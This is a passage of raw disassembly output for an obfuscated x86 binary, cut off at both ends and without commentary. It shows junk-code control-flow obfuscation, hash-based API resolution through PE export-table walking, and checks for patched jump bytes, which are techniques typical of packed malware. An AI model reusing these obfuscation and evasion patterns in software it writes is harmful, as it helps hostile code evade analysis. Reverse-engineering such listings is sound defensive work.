[ebp+8] mov [edx-8], eax ; END OF FUNCTION CHUNK FOR sub_42CEA4 ; START OF FUNCTION CHUNK FOR sub_424C61 loc_428C3D: ; CODE XREF: sub_424C61+4j ; _0182ofla:loc_4270F3j ... mov eax, [ebp-4] mov [ebp-8], eax mov eax, [ebp-8] mov esp, ebp pop ebp jmp loc_4257BF ; END OF FUNCTION CHUNK FOR sub_424C61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F0F loc_428C4E: ; CODE XREF: sub_428F0F-40B2j sub ebx, edi mov [eax], ecx jmp loc_42CE3D ; END OF FUNCTION CHUNK FOR sub_428F0F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D09 loc_428C58: ; CODE XREF: sub_428D09+9j jmp sub_42660C ; END OF FUNCTION CHUNK FOR sub_428D09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423127 loc_428C5D: ; CODE XREF: sub_423127+5j jmp loc_425215 ; END OF FUNCTION CHUNK FOR sub_423127 ; --------------------------------------------------------------------------- locret_428C62: ; CODE XREF: _0182ofla:004235C2j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_428C63: ; CODE XREF: sub_423FE2+5581j jmp loc_4298C6 ; END OF FUNCTION CHUNK FOR sub_423FE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EA15 loc_428C68: ; CODE XREF: sub_42EA15:loc_428AEFj push dword ptr [ebp-4] push eax push 33E29C47h pop eax jmp loc_427148 ; END OF FUNCTION CHUNK FOR sub_42EA15 ; --------------------------------------------------------------------------- loc_428C77: ; CODE XREF: _0182ofla:00429C63j or ebp, 5B1324B3h ; =============== S U B R O U T I N E ======================================= sub_428C7D proc near ; CODE XREF: _0182ofla:loc_42B1D8p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042465A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004257AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427866 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042851A SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0042C54E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E103 SIZE 00000005 BYTES xchg eax, [esp-4+arg_0] pop eax cmp ebx, eax add edx, eax sbb ebx, 0CB8369A6h jmp loc_4257AD sub_428C7D endp ; sp-analysis failed ; --------------------------------------------------------------------------- jo loc_42DC76 mov eax, [esi] jmp sub_423395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_428C9D: ; CODE XREF: sub_42EAB7-AEB8j ; _0182ofla:loc_42A5C7j call sub_42D02D jmp loc_42AA1F ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_428CA7: ; CODE XREF: sub_42380D:loc_428A55j jmp loc_425E21 ; --------------------------------------------------------------------------- loc_428CAC: ; CODE XREF: sub_42380D+Bj ; sub_425B6E:loc_42B855j ... jnb loc_4239A1 push edx call sub_4299B8 loc_428CB8: ; CODE XREF: sub_428F46:loc_42EB13j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 jmp loc_42D204 ; END OF FUNCTION CHUNK FOR sub_42380D ; --------------------------------------------------------------------------- loc_428CD5: ; CODE XREF: _0182ofla:0042E656j test ecx, 0D2E6818Dh loc_428CDB: ; CODE XREF: _0182ofla:004239B2j jmp loc_428059 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_428CE0: ; CODE XREF: sub_428F20-1E72j jnb loc_42E304 ; END OF FUNCTION CHUNK FOR sub_428F20 ; =============== S U B R O U T I N E ======================================= sub_428CE6 proc near ; CODE XREF: sub_42537E:loc_42EC4Ep mov [esp+0], esi pop esi jmp loc_42AAF1 sub_428CE6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_428CEF: ; CODE XREF: sub_42537E+7289j jz loc_42C4E5 push offset loc_42C172 jmp loc_42AE55 ; END OF FUNCTION CHUNK FOR sub_42537E ; =============== S U B R O U T I N E ======================================= sub_428CFF proc near ; CODE XREF: sub_4294A4j ; DATA XREF: sub_4253DC+40BEo ror eax, 6 mov ds:dword_425794, eax retn sub_428CFF endp ; =============== S U B R O U T I N E ======================================= sub_428D09 proc near ; CODE XREF: sub_4295D6:loc_423F83p ; sub_42E218:loc_424B9Cj ... ; FUNCTION CHUNK AT 00428C58 SIZE 00000005 BYTES jb sub_428F20 push ebp mov ebp, esp jmp loc_428C58 sub_428D09 endp ; =============== S U B R O U T I N E ======================================= sub_428D17 proc near ; CODE XREF: _0182ofla:00423595j ; sub_42364C+7j ... js sub_42306F push ebp mov ebp, esp add esp, 0FFFFFFECh mov eax, offset dword_42A3A8 loc_428D28: ; CODE XREF: sub_42E2EE:loc_429F66j jmp loc_427A48 sub_428D17 endp ; =============== S U B R O U T I N E ======================================= sub_428D2D proc near ; DATA XREF: _0182ofla:004264D3o ; FUNCTION CHUNK AT 00425F50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427D26 SIZE 00000005 BYTES mov eax, ds:dword_42D230 or eax, eax jnz loc_427D26 call sub_429BB9 mov edx, 65DE9EC5h call sub_42D71D push eax push offset sub_427D17 jmp loc_425F50 sub_428D2D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ja locret_42B383 mov [edi], ebp jmp sub_42C553 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_428D63 proc near ; CODE XREF: sub_426649+399Bp ; _0182ofla:0042DBACj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423377 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423B1E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042420D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424FF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042525F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004257DA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00425D30 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00425E9E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00425F55 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042620C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426311 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00426342 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004263C4 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426529 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00426551 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042673D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042726A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427479 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427568 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004281C8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004283AF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042841D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042862F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042888E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428B5E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00428BB4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429A44 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00429EC1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042A0CF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042A17C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A53E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A633 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042AF29 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042B115 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042B34B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042B760 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042B875 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042C50A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042C75E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CC6F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042D108 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D132 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D31A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D447 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042DB66 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DD25 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DD5C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042DE10 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DE5E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042DEFA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E184 SIZE 0000000A BYTES xchg eax, [esp+0] pop eax cmp dword ptr [eax], 4742444Fh jz loc_42595F jmp loc_42888E sub_428D63 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_428D78: ; CODE XREF: sub_42798F:loc_4244E9j cmp dword ptr [ebp-4], 4 jnz loc_425520 lea eax, [ebp-2BBh] call sub_42B669 loc_428D8D: ; CODE XREF: sub_42CA29-196Ej jmp loc_425ECF ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_428D92: ; CODE XREF: sub_42D056-6267j jmp loc_429991 ; END OF FUNCTION CHUNK FOR sub_42D056 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428D98: ; CODE XREF: _0182ofla:0042E800j jmp loc_424D29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DBF0 loc_428D9D: ; CODE XREF: sub_42DBF0-5D24j jmp loc_42CA5C ; END OF FUNCTION CHUNK FOR sub_42DBF0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B0C loc_428DA3: ; CODE XREF: sub_428B0C+15j jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_428B0C ; --------------------------------------------------------------------------- jmp loc_42DF97 ; --------------------------------------------------------------------------- call sub_42A343 ; START OF FUNCTION CHUNK FOR sub_42E1DA loc_428DB2: ; CODE XREF: sub_42E1DA-2BCj jmp loc_42C2DB ; END OF FUNCTION CHUNK FOR sub_42E1DA ; --------------------------------------------------------------------------- loc_428DB7: ; CODE XREF: _0182ofla:loc_42ECC0j push 0 push 10h call sub_42935B push esi push 224C8423h pop esi and esi, 16E91375h jmp loc_429512 ; --------------------------------------------------------------------------- push 0A3DA77BBh ror edx, 13h jmp sub_4243F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_428DDF: ; CODE XREF: sub_425B00+D31j push offset sub_42D2A9 jmp loc_427016 ; END OF FUNCTION CHUNK FOR sub_425B00 ; --------------------------------------------------------------------------- loc_428DE9: ; CODE XREF: _0182ofla:004292B3j rol edx, 8 jmp loc_42B1E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42968B loc_428DF1: ; CODE XREF: sub_42968B:loc_424379j call sub_428D17 mov edx, 7DA6ACC0h call sub_42D71D xchg eax, ebp push ebp jmp loc_4249EA ; END OF FUNCTION CHUNK FOR sub_42968B ; =============== S U B R O U T I N E ======================================= sub_428E08 proc near ; DATA XREF: sub_42A592+12o add ebx, 0B787FE2Bh sub_428E08 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42448C loc_428E0E: ; CODE XREF: sub_42448C:loc_4299C6j mov [ebx], eax call sub_428F0F loc_428E15: ; CODE XREF: sub_426571+8CEj jmp loc_4297B2 ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_428E1A: ; CODE XREF: sub_423FCD:loc_42A3D5j mov esi, ecx pop ecx retn ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE3A loc_428E1E: ; CODE XREF: sub_42DE3A-91F3j jmp loc_42E0D6 ; END OF FUNCTION CHUNK FOR sub_42DE3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424289 loc_428E23: ; CODE XREF: sub_424289+11j jmp loc_42A716 ; END OF FUNCTION CHUNK FOR sub_424289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428176 loc_428E28: ; CODE XREF: sub_428176+3EFj rol eax, 9 pushf mov [esp+0], eax call sub_424CD8 retn ; END OF FUNCTION CHUNK FOR sub_428176 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42583B loc_428E35: ; CODE XREF: sub_42583B:loc_425CFAj jmp loc_424AF3 ; END OF FUNCTION CHUNK FOR sub_42583B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_428E3A: ; CODE XREF: sub_423FE2+Ej ; _0182ofla:loc_424785j ... push esi push 1FC0F74h xor esi, 0A6035665h loc_428E46: ; CODE XREF: sub_4253F4+463Fj jmp loc_429556 ; END OF FUNCTION CHUNK FOR sub_423FE2 ; =============== S U B R O U T I N E ======================================= sub_428E4B proc near ; DATA XREF: sub_429D83:loc_426A33o inc ds:dword_42577C lea eax, nullsub_28 push offset loc_423A09 jmp nullsub_49 sub_428E4B endp ; --------------------------------------------------------------------------- xor edi, ebp cmp edx, 3407BD6Dh jmp loc_423937 ; --------------------------------------------------------------------------- push eax ror eax, 0Ah call sub_4242FD ; START OF FUNCTION CHUNK FOR sub_42798F loc_428E77: ; CODE XREF: sub_42798F+1F69j jmp loc_42994B ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_428E7C: ; CODE XREF: sub_423A2A-9D8j jnz loc_424C84 jmp loc_42E2E9 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- loc_428E87: ; DATA XREF: sub_4296F0:loc_427CB8o call sub_428E8D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_428E8D proc near ; CODE XREF: _0182ofla:loc_428E87p push ebx push ecx call sub_42C6EB mov esp, [esp+8] sub_428E8D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423AB1 loc_428E98: ; CODE XREF: sub_423AB1+9j ; sub_4231F3+8DBj ... xor eax, eax jmp loc_423DDD ; END OF FUNCTION CHUNK FOR sub_423AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3E4 loc_428E9F: ; CODE XREF: sub_42A3E4:loc_42A3ECj mov eax, 6 sub eax, [ebp+var_4] mov [ebp+var_4], eax jmp loc_42A988 ; END OF FUNCTION CHUNK FOR sub_42A3E4 ; =============== S U B R O U T I N E ======================================= sub_428EAF proc near ; CODE XREF: sub_426571-321p ; sub_426571+439Ap push offset sub_423861 jmp nullsub_50 sub_428EAF endp ; =============== S U B R O U T I N E ======================================= sub_428EB9 proc near ; CODE XREF: sub_425B6E+1F24p ; _0182ofla:0042CF1Aj ; FUNCTION CHUNK AT 00423211 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00423E10 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004240D3 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 004250BE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426713 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004269CF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426F27 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427C17 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0042917B SIZE 00000026 BYTES ; FUNCTION CHUNK AT 004299E8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00429AFE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042AA1D SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042AC56 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042BCFD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D919 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042D9E8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042DD43 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E5A5 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042E9D6 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0042EDA6 SIZE 00000009 BYTES xchg eax, [esp+0] pop eax mov eax, [eax-10h] and eax, 7 mov [ebp-14h], eax cmp dword ptr [ebp-10h], 3 jnb loc_428363 jmp loc_423211 sub_428EB9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_428ED6: ; CODE XREF: _0182ofla:0042D0B8j jmp loc_426FBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E648 loc_428EDB: ; CODE XREF: sub_42E648:loc_425B87j call sub_428D17 mov edx, 19EDC823h call sub_42D71D push edx push 0D9C7174Dh pop edx jmp loc_42A7DA ; END OF FUNCTION CHUNK FOR sub_42E648 ; =============== S U B R O U T I N E ======================================= sub_428EF6 proc near ; CODE XREF: sub_425DA5+7p mov [esp+0], edx pop edx cmp dword ptr [ebp-8], 0 jnz loc_423CED call sub_4232CD sub_428EF6 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42C7FE loc_428F09: ; CODE XREF: sub_42C7FE:loc_42A390j jmp loc_42B2CE ; END OF FUNCTION CHUNK FOR sub_42C7FE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_428F0F proc near ; CODE XREF: sub_42448C+4984p ; sub_426993+7BB7j ; FUNCTION CHUNK AT 004232AF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423ADF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E57 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042711E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004283D2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C4E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042ACC4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CE3D SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042E5E3 SIZE 0000000F BYTES mov [esp+0], edi pop edi pop ebx cmp ds:dword_4257A4, 0 jmp loc_4283D2 sub_428F0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428F20 proc near ; CODE XREF: sub_428D09j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423086 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042337C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042356F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423AE4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00423B33 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423B86 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004244D7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00424599 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004246A6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00424DC2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424F21 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425A76 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00425E80 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00426189 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426415 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042653E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004270A8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427861 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004285A8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00428C1C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428CE0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042930E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429811 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429A8B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00429CCC SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042A14C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042A4B0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AB80 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042B1E8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B2AF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B636 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B8DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C147 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D11E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DD84 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042E304 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042E833 SIZE 0000000E BYTES push ebx mov ebx, ebp jmp loc_42B636 sub_428F20 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edi, 0C0D3FFF0h sub esi, 0FA295ED6h jmp sub_425153 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D730 loc_428F38: ; CODE XREF: sub_42D730-73E3j xchg ebx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42D730 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E6E loc_428F3C: ; CODE XREF: sub_424E6E+2CABj jmp loc_42390D ; END OF FUNCTION CHUNK FOR sub_424E6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265C0 loc_428F41: ; CODE XREF: sub_4265C0-2E2Cj jmp loc_42442E ; END OF FUNCTION CHUNK FOR sub_4265C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428F46 proc near ; CODE XREF: sub_423AF2+73BAj arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004230C2 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00423D28 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424164 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004250E4 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004251EF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425731 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00425998 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425A56 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004261B0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426A0E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004278CC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00429FBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A219 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042E4C2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EB13 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx jmp loc_429FBE sub_428F46 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_428F4F: ; CODE XREF: sub_4282B8-2E06j pop edx and edx, 0B3FD71BEh sub edx, 919E5FA4h cmp edx, 969FD777h jmp loc_42C13A ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_428F67: ; CODE XREF: sub_42798F-2A7Aj jz loc_42595F jmp loc_425315 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB53 loc_428F72: ; CODE XREF: sub_42CB53-7332j push offset sub_42430D jmp nullsub_227 ; END OF FUNCTION CHUNK FOR sub_42CB53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423861 loc_428F7C: ; CODE XREF: sub_423861:loc_4291B0j cmp ds:dword_42B8F8[eax*4], 0 jz loc_42D816 mov eax, [ebp+var_4] cmp byte ptr [eax], 0CFh jz loc_42A2ED mov eax, [ebp+var_4] cmp byte ptr [eax], 0E9h jz loc_42A2ED jmp loc_426BA9 ; END OF FUNCTION CHUNK FOR sub_423861 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425063 loc_428FA7: ; CODE XREF: sub_425063:loc_425917j call sub_42E218 cmp dword ptr [ebp-0Ch], 0 jz loc_424680 jmp loc_429F9E ; END OF FUNCTION CHUNK FOR sub_425063 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_428FBC: ; CODE XREF: sub_42B15E-7931j jmp loc_4233BF ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_428FC1: ; CODE XREF: sub_42798F:loc_429BAFj push offset loc_42C212 jmp loc_42AA7B ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- sbb eax, 8F898C71h jmp loc_426AC3 ; =============== S U B R O U T I N E ======================================= sub_428FD6 proc near ; CODE XREF: _0182ofla:loc_42A104p ; sub_42ADE3+26B9p var_8 = dword ptr -8 jnz sub_429C68 push ebp mov ebp, esp pushf mov [esp+8+var_8], ecx loc_428FE3: ; CODE XREF: _0182ofla:loc_427038j call sub_42940E sub_428FD6 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42966F loc_428FE8: ; CODE XREF: sub_42966F+16j jmp loc_42E413 ; END OF FUNCTION CHUNK FOR sub_42966F ; =============== S U B R O U T I N E ======================================= sub_428FED proc near ; DATA XREF: sub_425BF8-27A1o ; FUNCTION CHUNK AT 00429F07 SIZE 00000005 BYTES xor edx, [ebx+ecx+4] cmp edx, 7C61090Eh jmp loc_429F07 sub_428FED endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_428FFC: ; CODE XREF: sub_425BF8:loc_425710j mov ebx, [eax+18h] mov ecx, [ebx+3Ch] loc_429002: ; CODE XREF: sub_42660C:loc_4271EFj mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_42AE31 jmp loc_42567C ; END OF FUNCTION CHUNK FOR sub_425BF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_429013: ; CODE XREF: sub_42798F+6CF5j or ecx, edx add ecx, edx jz loc_427EAA jmp loc_4244E9 ; --------------------------------------------------------------------------- loc_429022: ; CODE XREF: sub_42798F:loc_42ABE9j cmp dword ptr [ebp-4], 3 jmp loc_4249A0 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- xor ebp, esi jmp sub_42719D ; --------------------------------------------------------------------------- loc_429032: ; CODE XREF: _0182ofla:00429F61j ja locret_42674C ; =============== S U B R O U T I N E ======================================= sub_429038 proc near ; CODE XREF: _0182ofla:loc_4283CCj ; sub_428F20+DBAp ; FUNCTION CHUNK AT 004236DA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B722 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C390 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi mov eax, [eax] push eax call sub_427239 jmp loc_42C390 sub_429038 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_429049: ; CODE XREF: sub_428041:loc_42595Fj push 0 jmp loc_424013 ; END OF FUNCTION CHUNK FOR sub_428041 ; --------------------------------------------------------------------------- sbb esi, edx jmp sub_425126 ; --------------------------------------------------------------------------- loc_429057: ; CODE XREF: _0182ofla:0042A8DEj jbe loc_42B1FC ; =============== S U B R O U T I N E ======================================= sub_42905D proc near ; CODE XREF: sub_42D5EF-6EE7p xchg esi, [esp+0] pop esi call sub_424CD8 call sub_425126 locret_42906B: ; CODE XREF: sub_42ACCF:loc_429D17j retn sub_42905D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42906C: ; CODE XREF: _0182ofla:0042D500j jmp loc_42E760 ; =============== S U B R O U T I N E ======================================= sub_429071 proc near ; CODE XREF: sub_42D056:loc_425F8Bp ; _0182ofla:0042A97Aj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00427F1E SIZE 0000000F BYTES xchg ebx, [esp+8+var_8] pop ebx call sub_423FCD test al, al jz loc_427F1E call sub_426B60 retn sub_429071 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_429088: ; CODE XREF: sub_425B00:loc_42D073j call 